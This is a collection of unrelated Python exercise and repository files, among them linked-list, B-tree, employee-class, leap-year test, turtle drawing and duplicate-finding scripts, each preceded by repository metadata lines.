# Definition for singly-linked list. # class ListNode(object): # def __init__(self, x): # self.val = x # self.next = None class Solution(object): def getIntersectionNode(self, headA, headB): """ :type head1, head1: ListNode :rtype: ListNode """ len1, len2 = 0, 0 temp = headA while temp is not None: temp = temp.next len1 += 1 temp = headB while temp is not None: temp = temp.next len2 += 1 if(len1 == 0 or len2 == 0): return None p1 = headA p2 = headB if len1>len2: dif = len1-len2 while dif>0 and p1.next is not None: p1 = p1.next dif -= 1 if dif != 0: return None elif len2>len1: dif = len2-len1 while dif>0 and p2.next is not None: p2 = p2.next dif -= 1 if dif != 0: return None while(p1 != p2 and p1 is not None and p2 is not None): p1 = p1.next p2 = p2.next if(p1 != p2): return None return p1
4ff9d3fcc489a853114082f40280fc1df27426ac
slykid/Python3
/Field Test Code/ex_200802.py
311
3.75
4
def add(x, y) : number = 23 guess = 0 for i in range(1, 5): if guess == number : print("Yes") break if guess != number : print("no") guess += 1 else : print("not number") list_A = ["a", "b", "c"] print(list_A[0])
2c04576a4a8cd5982b974bf8db2847be8ca49b6d
chanhuhu/side
/interview/codium/leapyear.py
736
3.71875
4
import unittest import calendar INPUT_SAMPLE = """\ 1600 -> True 2000 -> True 1500 -> False 2004 -> True 2008 -> True 2010 -> False """ def isleap(year: int) -> bool: if year % 400 == 0: return True if year % 400 != 0 and year % 100 != 0 and year % 4 == 0: return True return False class Test(unittest.TestCase): def test_input_sample(self): lines = INPUT_SAMPLE.splitlines() for line in lines: input, result = line.split(" -> ") input = int(input) result = eval(result) print(f"{input}: {isleap(input)} expected_result: {result}") self.assertEqual(isleap(input), result) if __name__ == "__main__": unittest.main()
6ea21be05c3dfb65e9bf0bc0505160a7a3c81d7a
ask902/AndrewStep
/2Nov.py
252
3.796875
4
import turtle draw = turtle.Turtle() draw.color('pink','blue') draw.begin_fill() draw.speed(6) draw.shape("turtle") while True: draw.forward(350) draw.left(170) if abs(draw.pos()) < 1: break draw.end_fill() turtle.done()
182c2a04812180b77f9b6c4d142942cbf0e15c0e
tlee10/dataStructures
/bTree.py
12,572
3.609375
4
import random """ PROPERTIES OF B-TREE 1. Every node x has the following fields: a. n[x], the number of keys currently stored in node x, b. the n[x] keys themselves, stored in nondecreasing order, so that key1[x] ≤ key2[x] ≤ ··· ≤ keyn[x][x], c. leaf [x], a boolean value that is TRUE if x is a leaf and FALSE if x is an internal node. 2. Each internal node x also contains n[x]+ 1 pointers c1[x], c2[x], ..., cn[x]+1[x] to its children. Leaf nodes have no children, so their ci fields are undefined. 3. The keys keyi[x] separate the ranges of keys stored in each subtree: if ki is any key stored in the subtree with root ci [x], then k1 ≤ key1[x] ≤ k2 ≤ key2[x] ≤··· ≤ keyn[x][x] ≤ kn[x]+1. 4. All leaves have the same depth, which is the tree's height h. 5. There are lower and upper bounds on the number of keys a node can contain. These bounds can be expressed in terms of a fixed integer t ≥ 2 called the minimum degree of the B-tree: a. Every node other than the root must have at least t - 1 keys. Every internal node other than the root thus has at least t children. If the tree is nonempty, the root must have at least one key. b. Every node can contain at most 2t - 1 keys. Therefore, an internal node can have at most 2t children. We say that a node is full if it contains exactly 2t - 1 keys.[1] min item = t - 1 max item = 2t - 1 min child = t max child = 2t """ class Node: def __init__(self, degree): self.numKeys = 0 self.keys = [None] * (2*degree - 1) self.children = [None] * (2*degree) self.isLeaf = True class BTree(): def __init__(self, degree): self.root = Node(degree) self.degree = degree def search(self, node, k): i = 0 while i < node.numKeys and k > node.keys[i]: i += 1 if i < node.numKeys and k == node.keys[i]: return (node, i) if node.isLeaf: return None #key not found else: return self.search(node.children[i], k) #x = non-full parent of y, y = a full node, index = position of y in c[x] def splitChild(self, x, index, y): z = Node(self.degree) z.isLeaf = y.isLeaf z.numKeys = self.degree - 1 #allocate the later half of y's keys to z for i in range(self.degree - 1): z.keys[i] = y.keys[i + self.degree] y.keys[i + self.degree] = None #allocate the later half of y's children to z if y.isLeaf == False: for i in range(self.degree): z.children[i] = y.children[i + self.degree] y.children[i + self.degree] = None y.numKeys = self.degree - 1 #shift every child link of x after index one space to the right for i in range(x.numKeys, index + 1, -1): x.children[i] = x.children[i-1] x.children[index + 1] = z #z will be new child for node x at index #move the median value of y to x x.keys[index] = y.keys[self.degree-1] y.keys[self.degree - 1] = None x.numKeys += 1 def insert(self, k): r = self.root t = self.degree #if root is full if r.numKeys == 2*t - 1: s = Node(t) self.root = s s.isLeaf = False s.children[0] = r #split then insert new k self.splitChild(s, 0, r) self.insertNonFull(s, k) else: self.insertNonFull(r, k) def insertNonFull(self, x, k): i = x.numKeys - 1 #only insert into leaves if x.isLeaf: #shift every key that is bigger than k one place to the right while i >= 0 and k < x.keys[i]: x.keys[i + 1] = x.keys[i] i -= 1 x.keys[i + 1] = k x.numKeys += 1 else: #move to the right position while i >= 0 and k < x.keys[i]: i -= 1 i += 1 #if child is full if x.children[i].numKeys == 2*self.degree - 1: self.splitChild(x, i, x.children[i]) if k > x.keys[i]: i += 1 self.insertNonFull(x.children[i], k) def delete(self, k): if self.root.numKeys == 0: self.root = self.root.children[0] self.delete_aux(self.root, k) def delete_aux(self, x, k): # for i in range(x.numKeys): # if x.isLeaf == False: # for j in range(x.children[i].numKeys): # if x.children[i].keys[j] > x.keys[i]: # print("NOT SORTED ", str(k)) # print(x.keys[i]) # print(x.children[i].keys) # # for i in range(x.numKeys): # if x.isLeaf == False: # for j in range(x.children[i + 1].numKeys): # if x.children[i + 1].keys[j] < x.keys[i]: # print("LARGE NOT SORTED ", str(k)) print("CURRENT KEYS") print(x.keys) i = 0 while i < x.numKeys and k > x.keys[i]: i += 1 if i < x.numKeys and x.keys[i] == k: #k in node x if x.isLeaf: # x is a leaf self.replaceDeletedKey(x, i, 0) else: #x is an internal node self.deleteInternalNode(x, k, i) else: #k not in node x if x.isLeaf == False: if x.children[i].numKeys >= self.degree: #child i has more than t - 1 keys if i < x.numKeys: print("PARENT KEY = ", str(x.keys[i])) print("INDEX = ", str(i)) print("CHILDREN") print(x.children[i].keys) self.delete_aux(x.children[i], k) else: #child i has less than t degree # immediate sibling of child i has more than t-1 keys if i - 1 >= 0 and x.children[i - 1].numKeys >= self.degree: self.borrowFromPrev(x, i) elif i + 1 <= x.numKeys and x.children[i+1].numKeys >= self.degree: self.borrowFromNext(x, i) else: if i - 1 >= 0: self.merge(x, x.children[i], x.children[i - 1], i, i - 1) i -= 1 else: self.merge(x, x.children[i], x.children[i + 1], i, i + 1) if i < x.numKeys: print("PARENT KEY = ", str(x.keys[i])) print("INDEX = ", str(i)) print("CHILDREN") print(x.children[i].keys) self.delete_aux(x.children[i], k) else: print("KEY NOT FOUND") #this function is used when a key in a node is deleted or moved def replaceDeletedKey(self, x, index, j): for i in range(index, x.numKeys - 1): x.keys[i] = x.keys[i + 1] if x.isLeaf == False: for i in range(j, x.numKeys): x.children[i] = x.children[i + 1] x.keys[x.numKeys - 1] = None x.children[x.numKeys] = None x.numKeys -= 1 def merge(self, x, y, z, index, j): #if sibling is on the right if j > index: # move k to y and merge z with y y.keys[y.numKeys] = x.keys[index] y.numKeys += 1 start = y.numKeys for i in range(z.numKeys): y.keys[start + i] = z.keys[i] for i in range(z.numKeys + 1): y.children[start + i] = z.children[i] y.numKeys += z.numKeys else: #sibling on the left # move k to y and merge z with y z.keys[z.numKeys] = x.keys[index - 1] z.numKeys += 1 start = z.numKeys for i in range(y.numKeys): z.keys[start + i] = y.keys[i] for i in range(y.numKeys + 1): #no + 1 because the numkeys of y had been incremented above z.children[start + i] = y.children[i] z.numKeys += y.numKeys j += 1 index -= 1 #after k is moved down to x's child, update x's keys self.replaceDeletedKey(x, index, j) def borrowFromPrev(self, x, index): child = x.children[index] sibling = x.children[index - 1] #shift all keys in child one place to the right for i in range(child.numKeys, 0, -1): child.keys[i] = child.keys[i - 1] child.keys[0] = x.keys[index - 1] # move k down from x to child child.numKeys += 1 x.keys[index - 1] = sibling.keys[sibling.numKeys - 1] if sibling.isLeaf == False: lastChildOfSibling = sibling.children[sibling.numKeys] #since one key from sibling is moved up to x, need to link the sibling's child that is bigger than that key to child if child.isLeaf == False: #shift child's children one place to the right for i in range(child.numKeys, 0, -1): child.children[i] = child.children[i - 1] child.children[0] = lastChildOfSibling #remove key from sibling sibling.keys[sibling.numKeys - 1] = None sibling.children[sibling.numKeys] = None sibling.numKeys -= 1 def borrowFromNext(self, x, index): child = x.children[index] sibling = x.children[index + 1] child.keys[child.numKeys] = x.keys[index] # move k down from x to child child.numKeys += 1 x.keys[index] = sibling.keys[0] if sibling.isLeaf == False: firstChildOfSibling = sibling.children[0] # since one key from sibling is moved up to x, need to link the sibling's child that is smaller than that key to child for i in range(sibling.numKeys): sibling.children[i] = sibling.children[i + 1] for i in range(sibling.numKeys - 1): sibling.keys[i] = sibling.keys[i + 1] child.children[child.numKeys] = firstChildOfSibling # remove key from sibling sibling.keys[sibling.numKeys - 1] = None sibling.children[sibling.numKeys] = None sibling.numKeys -= 1 def deleteInternalNode(self, x, k, i): t = self.degree if x.isLeaf: if x.keys[i] == k: self.replaceDeletedKey(x, i, 0) else: if x.children[i].numKeys >= t: x.keys[i] = self.deletePredecessor(x.children[i]) elif x.children[i + 1].numKeys >= t: x.keys[i] = self.deleteSuccessor(x.children[i + 1]) else: self.merge(x, x.children[i], x.children[i + 1], i, i + 1) self.deleteInternalNode(x.children[i], k, t - 1) # Delete the predecessor def deletePredecessor(self, x): if x.isLeaf: key = x.keys[x.numKeys - 1] self.replaceDeletedKey(x, x.numKeys - 1, 0) return key i = x.numKeys - 1 if x.children[i + 1].numKeys >= self.degree: i += 1 elif x.children[i + 1].numKeys < self.degree and x.children[i].numKeys >= self.degree: self.borrowFromPrev(x, i+1) elif x.children[i + 1].numKeys < self.degree: self.merge(x, x.children[i], x.children[i + 1], i, i+1) return self.deletePredecessor(x.children[i]) # Delete the successor def deleteSuccessor(self, x): if x.isLeaf: key = x.keys[0] self.replaceDeletedKey(x, 0, 0) return key if x.children[0].numKeys < self.degree and x.children[1].numKeys >= self.degree: self.borrowFromNext(x, 0) elif x.children[0].numKeys < self.degree: self.merge(x, x.children[0], x.children[1], 0, 1) return self.deleteSuccessor(x.children[0]) # def findPredecessor(self, x, k, index): # child = x.children[index] # i = child.numKeys - 1 # # while i > 0 and k < child.keys[i]: # i -= 1 # # return child.keys[i] # # def findSucessor(self, x, k, index): # child = x.children[index + 1] # i = 0 # # while i < child.numKeys - 1 and k > child.keys[i]: # i += 1 # # return child.keys[i]
c10ceb05f410dc3e76051b956e44a910906e8407
vijayetar/dsa
/dsa/data_structures/linked_list/double_linked_list.py
4,348
3.921875
4
#doubly linked list class Node: def __init__ (self,value, _next=None, _back=None): self.value = value self.next = _next self.back = _back def __str__(self): return self.value class DoubleLinkedList: def __init__(self): self.head = None self.tail = None def add_node(self,value, *args): if not self.head: self.head = self.tail = Node(value) else: new_node = Node(value,self.head) self.head.back = new_node self.head = new_node for arg in args: new_node = Node(arg,self.head) self.head.back = new_node self.head = new_node return self.head def includes(self,value): current = self.head while current.next: if current.value == value: return True current = current.next return False def append(self, value, *args): new_node = Node(value, None, self.tail) self.tail.next = new_node self.tail = new_node return def insert_before(self, value, new_value, *args): current = self.head new_list = [new_value]+list(args) while current.next: if current.next.value == value: for arg in new_list: new_node = Node(arg, current.next, current) current.next.back = new_node current.next = new_node current = current.next return current = current.next def insert_after(self, value, new_value, *args): current = self.head new_list = [new_value]+list(args) while current.next: if current.value == value: for arg in new_list: new_node = Node(arg, current.next, current) current.next.back = new_node current.next = new_node current = new_node return current = current.next def delete_node(self,value): current = self.head while current.next: if current.next.value == value: deleted_node = current.next new_fragment = deleted_node.next current.next = new_fragment if deleted_node == self.tail: self.tail = current else: new_fragment.back = current deleted_node.back = None deleted_node.next = None return deleted_node current = current.next def kth_from_end(self, k): if k<0: return "Exception" counter = 0 current = self.tail while current.back: if counter == k: return current.value counter += 1 current = current.back return "Exception" def __str__(self): str = "" current = self.head while current: str += f"{{{current.value}}} <-->" current = current.next return f"{str} Null" def ll_merge(ll1, ll2): ''' merges two doubly linked lists''' if not ll1.head and not ll2.head: return "no heads provided" elif not ll1.head and ll2.head: return ll2 elif not ll2.head and ll1.head: return ll1 current1, current2 = ll1.head, ll2.head while current2: fragment1 = current1.next current1.next, current2.back = current2, current1 fragment2 = current2.next if fragment1: current1 = fragment1 else: current1.next=current2 current2.back = current1 ll1.tail = ll2.tail break current2.next = fragment1 current2 = fragment2 return ll1 if __name__ == "__main__": ll = DoubleLinkedList() ll.add_node("apples") ll.add_node("oranges") ll.add_node("kiwi", "oranges", "grapes") ll.append("juice") ll.append("cranberry") ll.insert_before("juice", "insertbefore1", "test2", "test3") ll.insert_after("juice", "insertafter1","test4","test5" ) ll.append("newtail") print(ll.delete_node("newtail")) print(ll.delete_node("cranberry")) print(ll) print(ll.kth_from_end(5))
4259afe301d85a3214d4b024d30e3dd42d834be3
15110500442/pa-
/复习/pachong/教学代码/第六天/csv_01.py
515
3.78125
4
#是以逗号分割 import csv #csv 文件读入 with open('zhiwei.csv','a') as csvfile: #创建一个csv的文件操作句柄 fieldnames = ['title','job_type','need_pople','adress','publish'] writer = csv.DictWriter(csvfile,fieldnames=fieldnames) #先写入头部信息 writer.writeheader() #但行插入 writer.writerow(dict) #csv 文件读取 with open('data.csv','r') as csvfile: #读取csv文件 lines = csv.reader(csvfile) for line in lines: print(line)
a0db238bce249fc869f32fde4c20d7846c7777ce
fogugy/gb_algorithm
/#3_16.01/task3.py
570
3.71875
4
# В массиве случайных целых чисел поменять местами минимальный и максимальный элементы. import random as rnd ls = [rnd.randint(0, 100) for x in range(10)] max_nmb = ls[0] min_nmb = ls[0] max_idx = 0 min_idx = 0 print(ls) for idx, nmb in enumerate(ls): if nmb > max_nmb: max_nmb = nmb max_idx = idx elif nmb < min_nmb: min_nmb = nmb min_idx = idx print("max:", max_nmb, "min:", min_nmb) ls[min_idx], ls[max_idx] = ls[max_idx], ls[min_idx] print(ls)
fc0d811125ff0d190ffbde21072c3892047a6175
ams584/CS0008-f2016
/ch3 examples/ch3-ex8.py
858
3.921875
4
# name : Alexander Shepard # email : ams584@pitt.edu # date : # class : CS0008-f2016 # instructor : Max Novelli (man8@pitt.edu) # # Description: # Starting with Python, Chapter 3, exercise 8 import math people = int(input("Enter the number of people attending:")) #Recieves the number of people attending hdogs = int(input("Enter the number of hot dogs per person:")) #Receives the number of hot dogs per person hp = people*hdogs #Calculates the number of hot dogs h = (math.ceil(hp/10)) #Calculates the minimum number of hot dog packages b = (math.ceil(hp/8)) #Calculates the minimum number of bun packages hdogsleft = h*10-hp #Calculates the number of hot dogs left bunsleft = b*8-hp #Calculates the number of buns left print("Packages of hot dogs required:", h, "Packages of buns required:", b, "Leftover hot dogs:", hdogsleft, "Leftover buns:", bunsleft)
23ae35e077edd42d31c2aae912750a504814861d
vitoria/CompetitiveProgramming
/uri/1556.py
360
3.71875
4
while True: try: word = input() new_words = set([]) for vowel in word: for new_word in new_words.copy(): new_words.add(new_word + vowel) new_words.add(vowel) for new_word in sorted(new_words): print(new_word) print('') except EOFError: break
43ab2ab643eb2218af0e74d384b3facdd1a10019
semosso/lpthw
/old/old-hello.py
361
3.859375
4
# Simple print statement print("hello world") # Now testing multistrings in triple quotes print(""""hello world", is what I'd say if I knew how to program. Can I make multi string work?""") # What about multistrings with normal quotes and \n (escape sequence) print("\"hello world\", is what I'd say if I knew how to program.\nCan I make multi strings work?")
1b1fb49e8f46a429c1dfc2c7c367664d15a875eb
davidvela/MyFirstPythonProject
/zDataCamp/p1_IntroP4DS.py
1,615
4.15625
4
# ************************************************* # INTRO TO PYTHON FOR DATA SCIENCE # ************************************************* # area variables (in square meters) hall = 11.25 kit = 18.0 liv = 20.0 bed = 10.75 bath = 9.50 # house information as list of lists house = [["hallway", hall], ["kitchen", kit], ["living room", liv], ["bedroom", bed], ["bathroom", bath] ] # Print out house print(type(house)); print( house ); print(house[0]); print(str(house[1])+"="+str(house[-4])) # array manipulation - slice inclusive:exclusive - del(array[2]) # funcitons: max, len, sorted, complex, // help(max) - documentation # methods: capitalize, replace, bit_length, conjugate, index, count, append, reverse, remove HallwayIndex = house.index(["hallway",hall]) # Numpy: For efficient work in arrays # Matplotlib: Data visualization # Scikit-learn: Machine Learning # install package: pip3 install // pip.readthedocs.org ! import as // from .. import .. # List - slow , operations/calculations for all data collecitons # Numpy - fast and possible = numeric python - arrays of single types! # ************************************************* # NUMPY - way faster # ************************************************* import numpy as np np_house = np.array(house) # np_house_2 = np_house * 2 # print(np_house_2) # np_boolean = np_array < 21 : print(np_array[np_boolean]) # 2D numpy array: np.array( [1,2],[3,4]).shape = (2,2) 2Daray[:2, 1] # FUNCTIONS: np.mean, np.median, corrcoef, std - standard deviation, sum(), sort(), np.round, np.random.normal
3e20489b796dd20344c8fc94e1a8391a7d8e6cae
outrageousaman/Python_study_marerial
/class_implimentation.py
1,802
4.28125
4
class Employee(object): """ base class for all employees """ empCount = 0 def __init__(self, name, salary): """ Constructor method :param name: name of the employee :param salary: salary of the employee """ self.name = name self.salary = salary Employee.empCount += 1 def display_employee(self): """ Displays the information of Employee """ print(f'name of the employee is {self.name} and age of employee is {self.age}') def display_emplaoyee_count(self): """ Displays total number of employees :return: """ print(f'number of employees are {Employee.empCount}') if __name__ == '__main__': print(Employee.__doc__) e1 = Employee('Aman', 2000) e2 = Employee('Pankaj', 4000) print(e1.name,e1.salary) print(e2.name, e2.salary) print(Employee.empCount) Employee.empCount =100 print(e2.empCount) print(e1.empCount) # getattr, hasttr, setattr, delattr print('e1 has name : ', hasattr(e1, 'name')) print('e1 has age : ', hasattr(e1, 'age')) print('name in e1', getattr(e1, 'name')) print('deleting e1.name', delattr(e1, 'name')) e1.name = 'Kamal' print('name in e1: ', e1.name) setattr(e1, 'name', 'aman again') print('name in e1 :', getattr(e1, 'name')) # buit in class attributes # __doc__ # __name__ # __dict__ (dictionary containing class namespace) # __module__ (module name in which class is defined) # __ bases__ base classes print('############ built in attributes ###########') print(Employee.__doc__) print(Employee.__name__) print(Employee.__module__) print(Employee.__bases__) print(Employee.__dict__)
8bdf42aff8314d342a2c020d09f5da2ca2bfe6cf
rubiruchi/nem-competition-model
/utils/nx-example.py
894
3.90625
4
import networkx as nx import matplotlib.pyplot as plt G = nx.Graph() # Add a single node G.add_node(1) # Add a list of nodes G.add_nodes_from([2,3]) # Add an edge between 1 and 2 and associate it with an object G.add_edge(1,2, object={'number':2}) # You can do this for nodes and whole graphs also. # Weight is a special attribute and is used by graph algos. # add an 'nbunch' of nodes (iterable container of nodes) H = nx.path_graph(10) G.add_nodes_from(H) # Add an edge from 1 to 2 G.add_edge(1,2) # Add an edge tuple e = (2,3) G.add_edge(*e) # the * unpacks the edge tuple. cool. # Add edges from a list G.add_edges_from([(1,2), (1,3)]) # Add eges from an 'ebunch' iterable container of edges G.add_edges_from(H.edges()) # Remove some nodes G.remove_nodes_from([2,3]) # Print the nodes: print G.nodes() # Print the edges print G.edges() # Draw the graph nx.draw(G) plt.show()
310eda790c07da2cec5c9b5d566baf7f086646cb
akshay-s-022/APS-2020
/Code Library/roots_of_QE.py
212
3.953125
4
from math import sqrt a=1 b=2 c=1 d=b*b-4*a*c if d<0: print("Imaginary roots") elif d>0: s1=-b+sqrt(d)/(2*a) s2=-b-sqrt(d)/(2*a) print(s1,s2) else: print(-b//(2*a),-b//(2*a))
c1c6ea9b03b284948851e148e1a137d3b17d1096
shravankumar0811/Coding_Ninjas
/Introduction to Python/2 Introduction to Python/Find Average Marks.py
286
4
4
##Write a program to input marks of three tests of a student (all integers). Then calculate and print the average of all test marks. # Read input as sepcified in the question # Print output as specified in the question a=int(input()) b=int(input()) c=int(input()) s=a+b+c print(s/3)
e69218b1156cb349dec0b65c01e4b9f42eec9c3b
YMSPython/Degiskenler
/Lesson15/Ornek4.py
1,439
3.875
4
from abc import ABCMeta, abstractmethod class BasePhone(metaclass=ABCMeta): def __init__(self, marka, model, fiyat): self.Marka = marka self.Model = model self.Fiyat = fiyat @abstractmethod # abstract olarak işaretlenmiş bir nesnenin, gövdesi olamaz. zorunlu olarak overide edileceğinden dolayı içerisindeki değere ulaşamazsınız def Sound(self): pass def __str__(self): return "Marka : {}\nModel : {}\nFiyat : {}\nTelefon Sesi : {}".format(self.Marka, self.Model, self.Fiyat, self.Sound()) class Samsung(BasePhone): def __init__(self, marka, model, fiyat, tedarikci): super(Samsung, self).__init__(marka, model, fiyat) self.Tedarikci = tedarikci def Sound(self): return "Samsung Telefon Sesi" class Apple(BasePhone): def __init__(self, marka, model, fiyat, garanti): super(Apple, self).__init__(marka, model, fiyat) self.Garanti = garanti def __str__(self): return "{}\nGaranti Süresi : {}".format(super().__str__(), self.Garanti) def Sound(self): return "Apple Telefon Sesi" class Nokia(BasePhone): def __init__(self, marka, model, fiyat, isletimSistemi): super(Nokia, self).__init__(marka, model, fiyat) self.IsletimSistemi = isletimSistemi def Sound(self): return "Nokia Telefon Sesi" apple = Apple("IPhone", "X", 10000000000, 2) print(apple)
9e673dfb80ce076e10ba238939f9efb66dba35e2
boss0703/AtCoder
/ABC192B.py
195
3.578125
4
s = list(input()) guu = s[0::2] for m in guu: if m.isupper(): print("No") exit() ki = s[1::2] for m in ki: if m.islower(): print("No") exit() print("Yes")
2a4b19d8d862fb51c39e5d43812f12aab1c8b3fa
Morelromain/OC_P4_chess_tournaments
/chess_tournaments/view/vmenu.py
2,388
3.625
4
"""Menu view""" class ViewMenu: """display menu""" def menustart(self): """display menu start""" print("\nTOURNOIS SUISSE\n\ 1 : Voir précédants tournois\n\ 2 : Voir liste joueur Base de donnée\n\ 3 : Changer Elo d'un joueur\n\ 4 : CREATION DU TOURNOI ET DES JOUEURS\n\ 5 : Voir info round\n\ 6 : Voir joueur tournoi en cour\n\ 7 : voir match du tournoi\n\ 8 : voir info tournoi\n\ 9 : SAUVEGARDER et quitter\n\ 10 : Quitter sans sauvegarger") def menuround(self, count): """display menu after create tournament""" print("\nTOURNOIS SUISSE\n\ 1 : Voir précédants tournois\n\ 2 : Voir liste joueur Base de donnée\n\ 3 : Changer Elo d'un joueur\n\ 4 : FAIRE LE ROUND N°", count, "\n\ 5 : Voir info round\n\ 6 : Voir joueur tournoi en cour\n\ 7 : voir match du tournoi\n\ 8 : voir info tournoi\n\ 9 : SAUVEGARDER et quitter\n\ 10 : Quitter sans sauvegarger") def menufinal(self): """display menu after last round""" print("\nTOURNOIS SUISSE\n\ 1 : Voir précédants tournois\n\ 2 : Voir liste joueur Base de donnée\n\ 3 : Changer Elo d'un joueur\n\ 4 : FINIR LE TOURNOI et quitter\n\ 5 : Voir info round\n\ 6 : Voir joueur tournoi en cour\n\ 7 : voir match du tournoi\n\ 8 : voir info tournoi\n\ 9 : SAUVEGARDER et quitter\n\ 10 : Quitter sans sauvegarger") def Sentence(self, m_choice): if m_choice == 0: print(" ") if m_choice == 1: print("Ce nombre n'existe pas dans le menu") if m_choice == 2: print("Voir précédants tournois") if m_choice == 3: print("Voir les joueurs dans la Base de donnée") if m_choice == 4: print("Changer Elo d'un joueur") if m_choice == 5: print("MATCH FINI, SAUVEGARDE ET QUITTER") if m_choice == 6: print("Pas de rounds existants dans le tournoi en cour") if m_choice == 7: print("Les joueurs du tournois ne sont pas créés") if m_choice == 8: print("Pas de match existants dans le tournoi en cour") if m_choice == 9: print("Pas de tournois en cour") if m_choice == 10: print("SAUVEGARDE ET QUITTER") if m_choice == 11: print("CHARGEMENT DU PRECEDENT TOURNOI") if m_choice == 12: print("Pas de tournoi à charger")
9f672c89c86c618cc05cd59705df6715035d01e2
AmitKulkarni23/Leet_HackerRank
/Google/Hard/128_longest_consecutive_sequence.py
1,076
3.78125
4
# Given an unsorted array of integers, find the length of the longest consecutive elements sequence. # # Your algorithm should run in O(n) complexity. # # Example: # # Input: [100, 4, 200, 1, 3, 2] # Output: 4 # Explanation: The longest consecutive elements sequence is [1, 2, 3, 4]. Therefore its length is 4. def longestConsecutive(nums): """ :type nums: List[int] :rtype: int """ # Credits -> https://leetcode.com/problems/longest-consecutive-sequence/solution/ # Time Complexity -> O(n) # Space COmplexity -> O(n) for set # Note : set() is implemented as a hashtable in Python # lookups are O(1) on avarage answer = 0 num_set = set(nums) for item in num_set: if item - 1 not in num_set: current_streak = 1 current_num = item while current_num + 1 in num_set: current_num += 1 current_streak += 1 answer = max(answer, current_streak) return answer # Examples: input = [100, 4, 200, 1, 3, 2] print(longestConsecutive(input))
ee1d728b08de294458247a524117f8e140856f26
SeongHyeok/SoftwareDesign
/day05/day05.py
1,332
3.5
4
# -*- coding: utf-8 -*- """ Created on Thu Feb 6 16:46:03 2014 @author: sim """ def get_cumul_sum(l): """Exercise 10-3 (from Think Python) """ s = 0 r= [] for i in l: s += i r.append(s) return r print get_cumul_sum([1, 2, 3]) print get_cumul_sum([1, 2, 3, 4, 5, -15, 3]) def has_duplicates(l): """Check list whether it has duplicate one or not """ for i in range(len(l)): for j in range(len(l)): if i == j: continue if l[i] == l[j]: return True return False print has_duplicates([0, 1, 2]) print has_duplicates([0, 1, 1]) print has_duplicates([0, 1, 3, 4, 43563465, 3345]) print has_duplicates(['A', 3, 4, 5, 6, 'B', 'C', 7, 8, 9, 'C', 10, 11]) print has_duplicates(['asdf', 'asdf']) import random max_days = [ 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31] def generate_birthdays(n): """Generates n birthdays """ l = [] for i in range(n): m = random.randint(1, 12) # January(1) to December(12) d = random.randint(1, max_days[m - 1]) l.append([m, d]) return l print generate_birthdays(3) trials = 100 persons = 23 n = 0 for i in range(trials): if has_duplicates(generate_birthdays(persons)): n += 1 print float(n) / float(trials)
f197e3378ae741150c127d87fa77309fd31bc5e3
manurp/Python_programs
/employee_class.py
3,006
3.515625
4
class Employee: num_of_emps=0 raise_amt=1.04 def __init__(self,first,last,pay): self.first=first self.last=last #self.email=first+"."+last+"@company.com" self.pay=pay Employee.num_of_emps+=1 #def fullname(self): # return '{} {}'.format(self.first,self.last) @property def email(self): return '{}.{}@email.com'.format(self.first,self.last) @property def fullname(self): return '{} {}'.format(self.first,self.last) @fullname.setter def fullname(self,name): first,last=name.split() self.first,self.last=first,last @fullname.deleter def fullname(self): self.first,self.last=None,None def apply_raise(self): self.pay=self.pay*self.raise_amt @classmethod def set_raise_amount(cls,amount): cls.raise_amt=amount @classmethod def from_string(cls,emp_str): first,last,pay=emp_str.split('-') return cls(first,last,pay) @staticmethod def is_workday(day): if day.weekday()==5 or day.weekday()==6: return False return True def __add__(self,other): return self.pay+other.pay def __repr__(self): return "Employee('{}','{}',{})".format(self.first,self.last,self.pay) def __str__(self): return "{}-{}".format(self.fullname,self.email) class Developer(Employee): raise_amt=1.10 def __init__(self,first,last,pay,prog_lang): #super().__init__(first,last,pay) #super().__init__(first,last,pay) #Works fine with python3 Employee.__init__(self,first,last,pay) self.prog_lang=prog_lang class Manager(Employee): def __init__(self,first,last,pay,employees=None): #Employee.__init__(self,first,last,pay) super().__init__(first,last,pay) if employees==None: self.employees=[] else: self.employees=employees def add_emp(self,emp): if emp not in self.employees: self.employees.append(emp) def remove_emp(self,emp): if emp in self.employees: self.employees.remove(employees) def print_emp(self): for emp in self.employees: print('-->',emp.fullname) emp1=Employee("Manoj","Poojari",50000) emp2=Employee("Bhoomika","Poojari",60000) print(emp1.fullname) print(emp2.fullname) emp1.apply_raise() print(emp1.pay) Employee.set_raise_amount(1.06)#can be objects i.e., emp1.set_raise_amount print(Employee.raise_amt) print(emp1.raise_amt) print(emp2.raise_amt) emp1_str='Ravi-Kumar-30000' emp2_str='Shamantha-Ravi-40000' new_emp1=Employee.from_string(emp1_str) print(new_emp1.email) import datetime my_date=datetime.date(2017,6,25) print(emp2.is_workday(my_date))#can be Employee.is_workday(..) print("") dev1=Developer('Rohit','Prasad',50000,'Python') dev2=Developer('Anurag','Sampath',60000,'Java') print(dev1.email) mgr=Manager('Veena R','Bhatt',70000,[emp1]) print(mgr.fullname) mgr.print_emp() mgr.add_emp(dev1) mgr.print_emp() #print(help(Manager)) print(emp1+emp2) #__add__ print(emp1) print(repr(emp2)) emp1.fullname ='ManojR Poojari' print(emp1.fullname) del emp1 # print(dev1.is_workday(my_date))# # print(emp1) emp1=Employee('Manoj','Poojari',60000) print(emp1) #__str__ if no __str__ then calls __repr__
062c0eca341b07b075dfa1b73308de667eb11970
Tebs-Lab/intro-to-programming
/exercises/writing-exercises/solutions/03-find-duplicates.py
1,817
4.375
4
""" Complete this function such that it returns a new list which contains all values that appear more than once in the list passed into the function. Each duplicated value should appear exactly once in the output list regardless of how many times it is duplicated. If no items are duplicated, return an empty list. This solution uses the "in" keyword, which returns true if the item is in the collection and also uses the "slice" syntax: thing in collection --> returns True if thing is in collection. input_list[i+1:] --> returns a list with all the elements from index i+1 to the end of that list. Using these two features the solution checks if the current item occurs in the list anywhere after the current item, then checks if that item is not already in the return list. If both are true, it adds the current item to the return list. """ def duplicates(input_list): return_list = [] for i, item in enumerate(input_list): if item in input_list[i+1:] and item not in return_list: return_list.append(item) return return_list # Very Simple Tests # in Python == for two lists means "do the items in the list match exactly, order included" assert duplicates([1, 2, 3, 1]) == [1] assert duplicates([3, 3, 3, 3, 3]) == [3] # Note the use of sorted here: your function can return the duplicates # in any order, but calling sorted on them makes it easier to test the # output. assert sorted(duplicates([1, 2, 3, 4, 1, 2, 3, 4])) == [1,2,3,4] assert sorted(duplicates([1, 1, 2, 3, 3, 4])) == [1, 3] ## ADD AT LEAST 3 MORE TESTS ## assert duplicates([1, 2, 3, 4, 5, 6]) == [] assert duplicates([1, 2, 3, 1, 5, 1]) == [1] assert duplicates([1, 2, 3, 4, 6, 6]) == [6] ## Just helpful to see, if this prints your tests all passed! print("All 